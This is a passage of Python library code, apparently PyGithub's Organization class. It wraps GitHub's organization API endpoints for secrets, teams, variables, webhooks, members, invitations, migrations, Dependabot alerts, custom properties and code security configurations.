for element in selected_repositories] if secret_type == "dependabot": put_parameters["selected_repository_ids"] = [str(element.id) for element in selected_repositories] self._requester.requestJsonAndCheck( "PUT", f"{self.url}/{secret_type}/secrets/{urllib.parse.quote(secret_name)}", input=put_parameters ) return github.OrganizationSecret.OrganizationSecret( requester=self._requester, headers={}, attributes={ "name": secret_name, "visibility": visibility, "selected_repositories_url": f"{self.url}/{secret_type}/secrets/{urllib.parse.quote(secret_name)}/repositories", "url": f"{self.url}/{secret_type}/secrets/{urllib.parse.quote(secret_name)}", }, completed=False, ) def get_secrets(self, secret_type: str = "actions") -> PaginatedList[OrganizationSecret]: """ Gets all organization secrets :param secret_type: string options actions or dependabot :rtype: :class:`PaginatedList` of :class:`github.OrganizationSecret.OrganizationSecret` """ assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" return PaginatedList( github.OrganizationSecret.OrganizationSecret, self._requester, f"{self.url}/{secret_type}/secrets", None, list_item="secrets", ) def get_secret(self, secret_name: str, secret_type: str = "actions") -> OrganizationSecret: """ :calls: 'GET /orgs/{org}/{secret_type}/secrets/{secret_name} `_ :param secret_name: string :param secret_type: string options actions or dependabot :rtype: github.OrganizationSecret.OrganizationSecret """ assert isinstance(secret_name, str), secret_name assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" return github.OrganizationSecret.OrganizationSecret( requester=self._requester, headers={}, attributes={"url": f"{self.url}/{secret_type}/secrets/{urllib.parse.quote(secret_name)}"}, completed=False, ) def create_team( self, name: str, repo_names: Opt[list[Repository]] = NotSet, permission: Opt[str] = NotSet, privacy: Opt[str] = NotSet, description: Opt[str] = NotSet, parent_team_id: Opt[int] = NotSet, maintainers: Opt[list[int]] = NotSet, notification_setting: Opt[str] = NotSet, ) -> Team: """ :calls: `POST /orgs/{org}/teams `_ :param name: string :param repo_names: list of :class:`github.Repository.Repository` :param permission: string :param privacy: string :param description: string :param parent_team_id: integer :param maintainers: list of: integer :param notification_setting: string :rtype: :class:`github.Team.Team` """ assert isinstance(name, str), name assert is_optional_list(repo_names, github.Repository.Repository), repo_names assert is_optional_list(maintainers, int), maintainers assert is_optional(parent_team_id, int), parent_team_id assert is_optional(permission, str), permission assert is_optional(privacy, str), privacy assert is_optional(description, str), description assert notification_setting in ["notifications_enabled", "notifications_disabled", NotSet], notification_setting post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "permission": permission, "privacy": privacy, "description": description, "parent_team_id": parent_team_id, "maintainers": maintainers, "notification_setting": notification_setting, } ) if is_defined(repo_names): post_parameters["repo_names"] = [element._identity for element in repo_names] headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/teams", input=post_parameters) return github.Team.Team(self._requester, headers, data, completed=True) def create_variable( self, variable_name: str, value: str, visibility: str = "all", selected_repositories: github.GithubObject.Opt[list[github.Repository.Repository]] = NotSet, ) -> github.OrganizationVariable.OrganizationVariable: """ :calls: `POST /orgs/{org}/actions/variables/ `_ :param variable_name: string :param value: string :param visibility: string :param selected_repositories: list of :class:`github.Repository.Repository` :rtype: github.OrganizationVariable.OrganizationVariable """ assert isinstance(variable_name, str), variable_name assert isinstance(value, str), value assert isinstance(visibility, str), visibility if visibility == "selected": assert isinstance(selected_repositories, list) and all( isinstance(element, github.Repository.Repository) for element in selected_repositories ), selected_repositories else: assert selected_repositories is NotSet post_parameters: dict[str, Any] = { "name": variable_name, "value": value, "visibility": visibility, } if is_defined(selected_repositories): post_parameters["selected_repository_ids"] = [element.id for element in selected_repositories] self._requester.requestJsonAndCheck("POST", f"{self.url}/actions/variables", input=post_parameters) return github.OrganizationVariable.OrganizationVariable( requester=self._requester, headers={}, attributes={ "name": variable_name, "visibility": visibility, "value": value, "selected_repositories_url": f"{self.url}/actions/variables/{urllib.parse.quote(variable_name)}/repositories", "url": self.url, }, completed=False, ) def get_variables(self) -> PaginatedList[OrganizationVariable]: """ Gets all organization variables :rtype: :class:`PaginatedList` of :class:`github.OrganizationVariable.OrganizationVariable` """ return PaginatedList( github.OrganizationVariable.OrganizationVariable, self._requester, f"{self.url}/actions/variables", None, list_item="variables", ) def get_variable(self, variable_name: str) -> OrganizationVariable: """ :calls: 'GET /orgs/{org}/actions/variables/{variable_name} `_ :param variable_name: string :rtype: github.OrganizationVariable.OrganizationVariable """ assert isinstance(variable_name, str), variable_name return github.OrganizationVariable.OrganizationVariable( requester=self._requester, headers={}, attributes={"url": f"{self.url}/actions/variables/{urllib.parse.quote(variable_name)}"}, completed=False, ) def delete_hook(self, id: int) -> None: """ :calls: `DELETE /orgs/{owner}/hooks/{id} `_ :param id: integer :rtype: None` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/hooks/{id}") def edit( self, billing_email: Opt[str] = NotSet, blog: Opt[str] = NotSet, company: Opt[str] = NotSet, description: Opt[str] = NotSet, email: Opt[str] = NotSet, location: Opt[str] = NotSet, name: Opt[str] = NotSet, ) -> None: """ :calls: `PATCH /orgs/{org} `_ """ assert is_optional(billing_email, str), billing_email assert is_optional(blog, str), blog assert is_optional(company, str), company assert is_optional(description, str), description assert is_optional(email, str), email assert is_optional(location, str), location assert is_optional(name, str), name post_parameters = NotSet.remove_unset_items( { "billing_email": billing_email, "blog": blog, "company": company, "description": description, "email": email, "location": location, "name": name, } ) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def edit_hook( self, id: int, name: str, config: dict[str, str], events: Opt[list[str]] = NotSet, active: Opt[bool] = NotSet, ) -> Hook: """ :calls: `PATCH /orgs/{owner}/hooks/{id} `_ """ assert isinstance(id, int), id assert isinstance(name, str), name assert isinstance(config, dict), config assert is_optional_list(events, str), events assert is_optional(active, bool), active post_parameters: dict[str, Any] = NotSet.remove_unset_items( {"name": name, "config": config, "events": events, "active": active} ) headers, data = self._requester.requestJsonAndCheck("PATCH", f"{self.url}/hooks/{id}", input=post_parameters) return github.Hook.Hook(self._requester, headers, data, completed=True) def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /orgs/{org}/events `_ :rtype: :class:`PaginatedList` of :class:`github.Event.Event` """ return PaginatedList(github.Event.Event, self._requester, f"{self.url}/events", None) def get_hook(self, id: int) -> github.Hook.Hook: """ :calls: `GET /orgs/{owner}/hooks/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/hooks/{id}") return github.Hook.Hook(self._requester, headers, data, completed=True) def get_hooks(self) -> PaginatedList[Hook]: """ :calls: `GET /orgs/{owner}/hooks `_ """ return PaginatedList(github.Hook.Hook, self._requester, f"{self.url}/hooks", None) def get_hook_delivery(self, hook_id: int, delivery_id: int) -> github.HookDelivery.HookDelivery: """ :calls: `GET /orgs/{owner}/hooks/{hook_id}/deliveries/{delivery_id} `_ :param hook_id: integer :param delivery_id: integer :rtype: :class:`github.HookDelivery.HookDelivery` """ assert isinstance(hook_id, int), hook_id assert isinstance(delivery_id, int), delivery_id headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/hooks/{hook_id}/deliveries/{delivery_id}" ) return github.HookDelivery.HookDelivery(self._requester, headers, data) def get_hook_deliveries(self, hook_id: int) -> PaginatedList[github.HookDelivery.HookDeliverySummary]: """ :calls: `GET /orgs/{owner}/hooks/{hook_id}/deliveries `_ :param hook_id: integer :rtype: :class:`PaginatedList` of :class:`github.HookDelivery.HookDeliverySummary` """ assert isinstance(hook_id, int), hook_id return PaginatedList( github.HookDelivery.HookDeliverySummary, self._requester, f"{self.url}/hooks/{hook_id}/deliveries", None, ) def get_issues( self, filter: Opt[str] = NotSet, state: Opt[str] = NotSet, labels: Opt[list[Label]] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[Issue]: """ :calls: `GET /orgs/{org}/issues `_ :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` :param filter: string :param state: string :param labels: list of :class:`github.Label.Label` :param sort: string :param direction: string :param since: datetime :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` """ assert is_optional(filter, str), filter assert is_optional(state, str), state assert is_optional_list(labels, github.Label.Label), labels assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since url_parameters: dict[str, Any] = NotSet.remove_unset_items( {"filter": filter, "state": state, "sort": sort, "direction": direction} ) if is_defined(labels): url_parameters["labels"] = ",".join(label.name for label in labels) if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList(github.Issue.Issue, self._requester, f"{self.url}/issues", url_parameters) def get_members( self, filter_: Opt[str] = NotSet, role: Opt[str] = NotSet, ) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/members `_ """ assert is_optional(filter_, str), filter_ assert is_optional(role, str), role url_parameters = NotSet.remove_unset_items({"filter": filter_, "role": role}) return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/members", url_parameters, ) def get_projects(self, state: Opt[str] = NotSet) -> PaginatedList[Project]: """ :calls: `GET /orgs/{org}/projects `_ """ url_parameters = NotSet.remove_unset_items({"state": state}) return PaginatedList( github.Project.Project, self._requester, f"{self.url}/projects", url_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) def get_public_members(self) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/public_members `_ :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/public_members", None, ) def get_outside_collaborators(self, filter_: Opt[str] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/outside_collaborators `_ """ assert is_optional(filter_, str), filter_ url_parameters = NotSet.remove_unset_items({"filter": filter_}) return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/outside_collaborators", url_parameters, ) def remove_outside_collaborator(self, collaborator: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/outside_collaborators/{username} `_ :param collaborator: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(collaborator, github.NamedUser.NamedUser), collaborator headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/outside_collaborators/{collaborator._identity}" ) def convert_to_outside_collaborator(self, member: NamedUser) -> None: """ :calls: `PUT /orgs/{org}/outside_collaborators/{username} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/outside_collaborators/{member._identity}" ) def get_public_key(self, secret_type: str = "actions") -> PublicKey: """ :calls: `GET /orgs/{org}/{secret_type}/secrets/public-key `_ :param secret_type: string options actions or dependabot :rtype: :class:`github.PublicKey.PublicKey` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/{secret_type}/secrets/public-key") return github.PublicKey.PublicKey(self._requester, headers, data, completed=True) def get_copilot(self) -> Copilot: """ :calls: Various Copilot-related endpoints for this organization :rtype: :class:`github.Copilot.Copilot` """ return github.Copilot.Copilot(self._requester, self.login) def get_repo(self, name: str) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ :param name: string :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name name = urllib.parse.quote(name) headers, data = self._requester.requestJsonAndCheck( "GET", f"/repos/{self.login}/{name}", headers={"Accept": Consts.repoVisibilityPreview}, ) return github.Repository.Repository(self._requester, headers, data, completed=True) def get_repos( self, type: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[Repository]: """ :calls: `GET /orgs/{org}/repos `_ :param type: string ('all', 'public', 'private', 'forks', 'sources', 'member') :param sort: string ('created', 'updated', 'pushed', 'full_name') :param direction: string ('asc', desc') """ assert is_optional(type, str), type assert is_optional(sort, str), sort assert is_optional(direction, str), direction url_parameters = NotSet.remove_unset_items({"type": type, "sort": sort, "direction": direction}) return PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/repos", url_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) def get_team(self, id: int) -> Team: """ :calls: `GET /teams/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"/teams/{id}") return github.Team.Team(self._requester, headers, data, completed=True) def get_team_by_slug(self, slug: str) -> Team: """ :calls: `GET /orgs/{org}/teams/{team_slug} `_ """ assert isinstance(slug, str), slug slug = urllib.parse.quote(slug) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/teams/{slug}") return github.Team.Team(self._requester, headers, data, completed=True) def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /orgs/{org}/teams `_ """ return PaginatedList(github.Team.Team, self._requester, f"{self.url}/teams", None) def invitations(self) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/invitations `_ """ return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/invitations", None, headers={"Accept": Consts.mediaTypeOrganizationInvitationPreview}, ) def invite_user( self, user: Opt[NamedUser] = NotSet, email: Opt[str] = NotSet, role: Opt[str] = NotSet, teams: Opt[list[Team]] = NotSet, ) -> None: """ :calls: `POST /orgs/{org}/invitations `_ :param user: :class:`github.NamedUser.NamedUser` :param email: string :param role: string :param teams: array of :class:`github.Team.Team` :rtype: None """ assert is_optional(user, github.NamedUser.NamedUser), user assert is_optional(email, str), email assert is_defined(email) != is_defined(user), "specify only one of email or user" assert is_undefined(role) or role in ["admin", "direct_member", "billing_manager"], role assert is_optional_list(teams, github.Team.Team), teams parameters: dict[str, Any] = NotSet.remove_unset_items({"email": email, "role": role}) if is_defined(user): parameters["invitee_id"] = user.id if is_defined(teams): parameters["team_ids"] = [t.id for t in teams] headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/invitations", headers={"Accept": Consts.mediaTypeOrganizationInvitationPreview}, input=parameters, ) def cancel_invitation(self, invitee: NamedUser) -> bool: """ :calls: `DELETE /orgs/{org}/invitations/{invitation_id} `_ :param invitee: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(invitee, github.NamedUser.NamedUser), invitee status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/invitations/{invitee.id}") return status == 204 def has_in_members(self, member: NamedUser) -> bool: """ :calls: `GET /orgs/{org}/members/{user} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: bool """ assert isinstance(member, github.NamedUser.NamedUser), member status, headers, data = self._requester.requestJson("GET", f"{self.url}/members/{member._identity}") if status == 302: status, headers, data = self._requester.requestJson("GET", headers["location"]) return status == 204 def has_in_public_members(self, public_member: NamedUser) -> bool: """ :calls: `GET /orgs/{org}/public_members/{user} `_ :param public_member: :class:`github.NamedUser.NamedUser` :rtype: bool """ assert isinstance(public_member, github.NamedUser.NamedUser), public_member status, headers, data = self._requester.requestJson( "GET", f"{self.url}/public_members/{public_member._identity}" ) return status == 204 def remove_from_membership(self, member: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/memberships/{user} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/memberships/{member._identity}") def remove_from_members(self, member: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/members/{user} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/members/{member._identity}") def remove_from_public_members(self, public_member: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/public_members/{user} `_ :param public_member: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(public_member, github.NamedUser.NamedUser), public_member headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/public_members/{public_member._identity}" ) def create_migration( self, repos: list[str], lock_repositories: Opt[bool] = NotSet, exclude_attachments: Opt[bool] = NotSet, ) -> Migration: """ :calls: `POST /orgs/{org}/migrations `_ :param repos: list or tuple of str :param lock_repositories: bool :param exclude_attachments: bool :rtype: :class:`github.Migration.Migration` """ assert isinstance(repos, (list, tuple)), repos assert all(isinstance(repo, str) for repo in repos), repos assert is_optional(lock_repositories, bool), lock_repositories assert is_optional(exclude_attachments, bool), exclude_attachments post_parameters = NotSet.remove_unset_items( { "repositories": repos, "lock_repositories": lock_repositories, "exclude_attachments": exclude_attachments, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"/orgs/{self.login}/migrations", input=post_parameters, headers={"Accept": Consts.mediaTypeMigrationPreview}, ) return github.Migration.Migration(self._requester, headers, data, completed=True) def get_migrations(self) -> PaginatedList[Migration]: """ :calls: `GET /orgs/{org}/migrations `_ :rtype: :class:`PaginatedList` of :class:`github.Migration.Migration` """ return PaginatedList( github.Migration.Migration, self._requester, f"/orgs/{self.login}/migrations", None, headers={"Accept": Consts.mediaTypeMigrationPreview}, ) def get_installations(self) -> PaginatedList[Installation]: """ :calls: `GET /orgs/{org}/installations `_ :rtype: :class:`PaginatedList` of :class:`github.Installation.Installation` """ return PaginatedList( github.Installation.Installation, self._requester, f"{self.url}/installations", None, headers=None, list_item="installations", ) def get_dependabot_alerts( self, state: Opt[str] = NotSet, severity: Opt[str] = NotSet, ecosystem: Opt[str] = NotSet, package: Opt[str] = NotSet, scope: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[OrganizationDependabotAlert]: """ :calls: `GET /orgs/{org}/dependabot/alerts `_ :param state: Optional string :param severity: Optional string :param ecosystem: Optional string :param package: Optional string :param scope: Optional string :param sort: Optional string :param direction: Optional string :rtype: :class:`PaginatedList` of :class:`github.DependabotAlert.DependabotAlert` """ allowed_states = ["auto_dismissed", "dismissed", "fixed", "open"] allowed_severities = ["low", "medium", "high", "critical"] allowed_ecosystems = ["composer", "go", "maven", "npm", "nuget", "pip", "pub", "rubygems", "rust"] allowed_scopes = ["development", "runtime"] allowed_sorts = ["created", "updated"] allowed_directions = ["asc", "desc"] assert state in allowed_states + [NotSet], f"State can be one of {', '.join(allowed_states)}" assert severity in allowed_severities + [NotSet], f"Severity can be one of {', '.join(allowed_severities)}" assert ecosystem in allowed_ecosystems + [NotSet], f"Ecosystem can be one of {', '.join(allowed_ecosystems)}" assert scope in allowed_scopes + [NotSet], f"Scope can be one of {', '.join(allowed_scopes)}" assert sort in allowed_sorts + [NotSet], f"Sort can be one of {', '.join(allowed_sorts)}" assert direction in allowed_directions + [NotSet], f"Direction can be one of {', '.join(allowed_directions)}" url_parameters = NotSet.remove_unset_items( { "state": state, "severity": severity, "ecosystem": ecosystem, "package": package, "scope": scope, "sort": sort, "direction": direction, } ) return PaginatedList( github.OrganizationDependabotAlert.OrganizationDependabotAlert, self._requester, f"{self.url}/dependabot/alerts", url_parameters, ) def get_custom_properties(self) -> PaginatedList[OrganizationCustomProperty]: """ :calls: `GET /orgs/{org}/properties/schema `_ :rtype: :class:`PaginatedList` of :class:`github.OrganizationCustomProperty.OrganizationCustomProperty` """ return PaginatedList( contentClass=github.OrganizationCustomProperty.OrganizationCustomProperty, requester=self._requester, firstUrl=f"{self.url}/properties/schema", firstParams=None, ) def get_custom_property(self, property_name: str) -> OrganizationCustomProperty: """ :calls: `GET /orgs/{org}/properties/schema/{property_name} `_ :param property_name: string :rtype: :class:`github.OrganizationCustomProperty.OrganizationCustomProperty` """ assert isinstance(property_name, str), property_name headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/properties/schema/{urllib.parse.quote(property_name)}" ) return github.OrganizationCustomProperty.OrganizationCustomProperty( requester=self._requester, headers=headers, attributes=data, ) def create_custom_properties(self, properties: list[CustomProperty]) -> list[OrganizationCustomProperty]: """ Create or update custom properties for an organization :calls: `PATCH /orgs/{org}/properties/schema `_ :param properties: list of :class:`github.OrganizationCustomProperty.CustomProperty` :rtype: list of :class:`github.OrganizationCustomProperty.OrganizationCustomProperty` """ assert isinstance(properties, list), properties assert all(isinstance(p, github.OrganizationCustomProperty.CustomProperty) for p in properties), properties patch_parameters = {"properties": [p.to_dict() for p in properties]} headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.url}/properties/schema", input=patch_parameters ) return [ github.OrganizationCustomProperty.OrganizationCustomProperty( requester=self._requester, headers=headers, attributes=property ) for property in data ] def create_custom_property(self, property: CustomProperty) -> OrganizationCustomProperty: """ Create or update a custom property for an organization :calls: `PUT /orgs/{org}/properties/schema/{property_name} `_ :param property: :class:`github.OrganizationCustomProperty.CustomProperty` :rtype: :class:`github.OrganizationCustomProperty.OrganizationCustomProperty` """ assert isinstance(property, github.OrganizationCustomProperty.CustomProperty), property assert property.values_editable_by is NotSet post_parameters = property.to_dict() property_name = post_parameters.pop("property_name") headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/properties/schema/{property_name}", input=post_parameters ) return github.OrganizationCustomProperty.OrganizationCustomProperty( requester=self._requester, headers=headers, attributes=data ) def remove_custom_property(self, property_name: str) -> None: """ :calls: `DELETE /orgs/{org}/properties/schema/{property_name} `_ :param property_name: string :rtype: None """ assert isinstance(property_name, str), property_name self._requester.requestJsonAndCheck("DELETE", f"{self.url}/properties/schema/{property_name}") def list_custom_property_values( self, repository_query: Opt[str] = NotSet ) -> PaginatedList[RepositoryCustomPropertyValues]: """ :calls: `GET /orgs/{org}/properties `_ :rtype: :class:`PaginatedList` of dict """ return PaginatedList( contentClass=github.OrganizationCustomProperty.RepositoryCustomPropertyValues, requester=self._requester, firstUrl=f"{self.url}/properties/values", firstParams=NotSet.remove_unset_items({"repository_query": repository_query}), ) def create_custom_property_values( self, repository_names: list[str], properties: dict[str, str | list | None] ) -> None: """ Create or update custom property values for organization repositories :calls: `PATCH /orgs/{org}/properties `_ :param repository_names: list of strings :param properties: dict of string to string, list or None :rtype: None """ assert isinstance(repository_names, list), repository_names assert all(isinstance(repo, str) for repo in repository_names), repository_names assert isinstance(properties, dict), properties assert all(isinstance(value, (str, list, type(None))) for value in properties.values()), properties patch_parameters = { "repository_names": repository_names, "properties": [{"property_name": k, "value": v} for k, v in properties.items()], } self._requester.requestJsonAndCheck("PATCH", f"{self.url}/properties/values", input=patch_parameters) def get_code_security_configs(self, target_type: Opt[str] = NotSet) -> PaginatedList[CodeSecurityConfig]: """ :calls: `GET /orgs/{org}/code-security/configurations `_ :rtype: :class:`CodeSecurityConfig` """ return PaginatedList( contentClass=github.CodeSecurityConfig.CodeSecurityConfig, requester=self._requester, firstUrl=f"{self.url}/code-security/configurations", firstParams=NotSet.remove_unset_items({"target_type": target_type}), ) def create_code_security_config( self, name: str, description: str, advanced_security: Opt[str] = NotSet, dependency_graph: Opt[str] = NotSet, dependency_graph_autosubmit_action: Opt[str] = NotSet, dependabot_alerts: Opt[str] = NotSet, dependabot_security_updates: Opt[str] = NotSet, code_scanning_default_setup: Opt[str] = NotSet, secret_scanning: Opt[str] = NotSet, secret_scanning_push_protection: Opt[str] = NotSet, secret_scanning_delegated_bypass: Opt[str] = NotSet, secret_scanning_validity_checks: Opt[str] = NotSet, secret_scanning_non_provider_patterns: Opt[str] = NotSet, private_vulnerability_reporting: Opt[str] = NotSet, enforcement: Opt[str] = NotSet, ) -> CodeSecurityConfig: """ :calls: `POST /orgs/{org}/code-security/configurations `_ :rtype: :class:`PaginatedList` of dict """ assert isinstance(name, str), name assert isinstance(description, str), description assert is_optional(advanced_security, str), advanced_security assert is_optional(dependency_graph, str), dependency_graph assert is_optional(dependency_graph_autosubmit_action, str), dependency_graph_autosubmit_action assert is_optional(dependabot_alerts, str), dependabot_alerts assert is_optional(dependabot_security_updates, str), dependabot_security_updates assert is_optional(code_scanning_default_setup, str), code_scanning_default_setup assert is_optional(secret_scanning, str), secret_scanning assert is_optional(secret_scanning_push_protection, str), secret_scanning_push_protection assert is_optional(secret_scanning_delegated_bypass, str), secret_scanning_delegated_bypass assert is_optional(secret_scanning_validity_checks, str), secret_scanning_validity_checks assert is_optional(secret_scanning_non_provider_patterns, str), secret_scanning_non_provider_patterns assert is_optional(private_vulnerability_reporting, str), private_vulnerability_reporting assert is_optional(enforcement, str), enforcement post_parameters = NotSet.remove_unset_items( { "name": name, "description": description, "advanced_security": advanced_security, "dependency_graph": dependency_graph, "dependency_graph_autosubmit_action": dependency_graph_autosubmit_action, "dependabot_alerts": dependabot_alerts, "dependabot_security_updates": dependabot_security_updates, "code_scanning_default_setup": code_scanning_default_setup, "secret_scanning": secret_scanning, "secret_scanning_push_protection": secret_scanning_push_protection, "secret_scanning_delegated_bypass": secret_scanning_delegated_bypass, "secret_scanning_validity_checks": secret_scanning_validity_checks, "secret_scanning_non_provider_patterns": secret_scanning_non_provider_patterns, "private_vulnerability_reporting": private_vulnerability_reporting, "enforcement": enforcement, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/code-security/configurations", input=post_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) return github.CodeSecurityConfig.CodeSecurityConfig(self._requester, headers, data) def edit_code_security_config( self, id: int, name: Opt[str] = NotSet, description: Opt[str] = NotSet, advanced_security: Opt[str] = NotSet, dependency_graph: Opt[str] = NotSet, dependency_graph_autosubmit_action: Opt[str] = NotSet, dependabot_alerts: Opt[str] = NotSet, dependabot_security_updates: Opt[str] = NotSet, code_scanning_default_setup: Opt[str] = NotSet, secret_scanning: Opt[str] = NotSet, secret_scanning_push_protection: Opt[str] = NotSet, secret_scanning_delegated_bypass: Opt[str] = NotSet, secret_scanning_validity_checks: Opt[str] = NotSet, secret_scanning_non_provider_patterns: Opt[str] = NotSet, private_vulnerability_reporting: Opt[str] = NotSet, enforcement: Opt[str] = NotSet, ) -> CodeSecurityConfig: """ :calls: `PATCH /orgs/{org}/code-security/configurations/{configuration_id} `_ """ assert isinstance(id, int), id assert is_optional(name, str), name assert is_optional(description, str), description assert is_optional(advanced_security, str), advanced_security assert is_optional(dependency_graph, str), dependency_graph assert is_optional(dependency_graph_autosubmit_action, str), dependency_graph_autosubmit_action assert is_optional(dependabot_alerts, str), dependabot_alerts assert is_optional(dependabot_security_updates, str), dependabot_security_updates assert is_optional(code_scanning_default_setup, str), code_scanning_default_setup assert is_optional(secret_scanning, str), secret_scanning assert is_optional(secret_scanning_push_protection, str), secret_scanning_push_protection assert is_optional(secret_scanning_delegated_bypass, str), secret_scanning_delegated_bypass assert is_optional(secret_scanning_validity_checks, str), secret_scanning_validity_checks assert is_optional(secret_scanning_non_provider_patterns, str), secret_scanning_non_provider_patterns assert is_optional(private_vulnerability_reporting, str), private_vulnerability_reporting assert is_optional(enforcement, str), enforcement post_parameters = NotSet.remove_unset_items( { "name": name, "description": description, "advanced_security": advanced_security, "dependency_graph": dependency_graph, "dependency_graph_autosubmit_action": dependency_graph_autosubmit_action, "dependabot_alerts": dependabot_alerts, "dependabot_security_updates": dependabot_security_updates, "code_scanning_default_setup": code_scanning_default_setup, "secret_scanning": secret_scanning, "secret_scanning_push_protection": secret_scanning_push_protection, "secret_scanning_delegated_bypass": secret_scanning_delegated_bypass, "secret_scanning_validity_checks": secret_scanning_validity_checks, "secret_scanning_non_provider_patterns": secret_scanning_non_provider_patterns, "private_vulnerability_reporting": private_vulnerability_reporting, "enforcement": enforcement, } ) headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.url}/code-security/configurations/{id}", input=post_parameters ) return github.CodeSecurityConfig.CodeSecurityConfig(self._requester, headers, data) def delete_code_security_config(self, id: int) -> None: """ :calls: `DELETE /orgs/{org}/code-security/configurations/{configuration_id} `_ :param id: integer :rtype: None` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/code-security/configurations/{id}") def get_code_security_config(self, id: int) -> CodeSecurityConfig: """ :calls: `GET /orgs/{org}/code-security/configurations/{configuration_id} `_ :param id: configuration_id :rtype: CodeSecurityConfig """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/code-security/configurations/{id}") return github.CodeSecurityConfig.CodeSecurityConfig(self._requester, headers, data) def set_default_code_security_config(self, id: int, default_for_new_repos: Opt[str] = NotSet) -> None: """ :calls: `PUT /orgs/{org}/code-security/configurations/{configuration_id}/defaults `_ """ assert isinstance(id, int), id assert is_optional(default_for_new_repos, str), default_for_new_repos put_parameters = NotSet.remove_unset_items({"default_for_new_repos": default_for_new_repos}) headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/code-security/configurations/{id}/defaults", input=put_parameters ) def get_default_code_security_configs(self) -> PaginatedList[DefaultCodeSecurityConfig]: """ :calls: `GET /orgs/{org}/code-security/configurations/defaults `_ :rtype: :class:`github.DefaultCodeSecurityConfig.DefaultCodeSecurityConfig` """ return PaginatedList( contentClass=github.DefaultCodeSecurityConfig.DefaultCodeSecurityConfig, requester=self._requester, firstUrl=f"{self.url}/code-security/configurations/defaults", firstParams=None, ) def attach_security_config_to_repositories( self, id: int, scope: str, selected_repository_ids: Opt[list[int]] = NotSet ) -> None: """ :calls: `POST /orgs/{org}/code-security/configurations/{configuration_id}/attach `_ """ assert isinstance(id, int), id assert isinstance(scope, str), scope assert is_optional(selected_repository_ids, list), selected_repository_ids post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "scope": scope, "selected_repository_ids": selected_repository_ids, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"/orgs/{self.login}/code-security/configurations/{id}/attach", input=post_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) def detach_security_config_from_repositories(self, selected_repository_ids: list[int]) -> None: """ :calls: `DELETE /orgs/{org}/code-security/configurations/detach `_ """ assert isinstance(selected_repository_ids, list), selected_repository_ids delete_parameters: dict[str, Any] = NotSet.remove_unset_items( { "selected_repository_ids": selected_repository_ids, } ) headers, data = 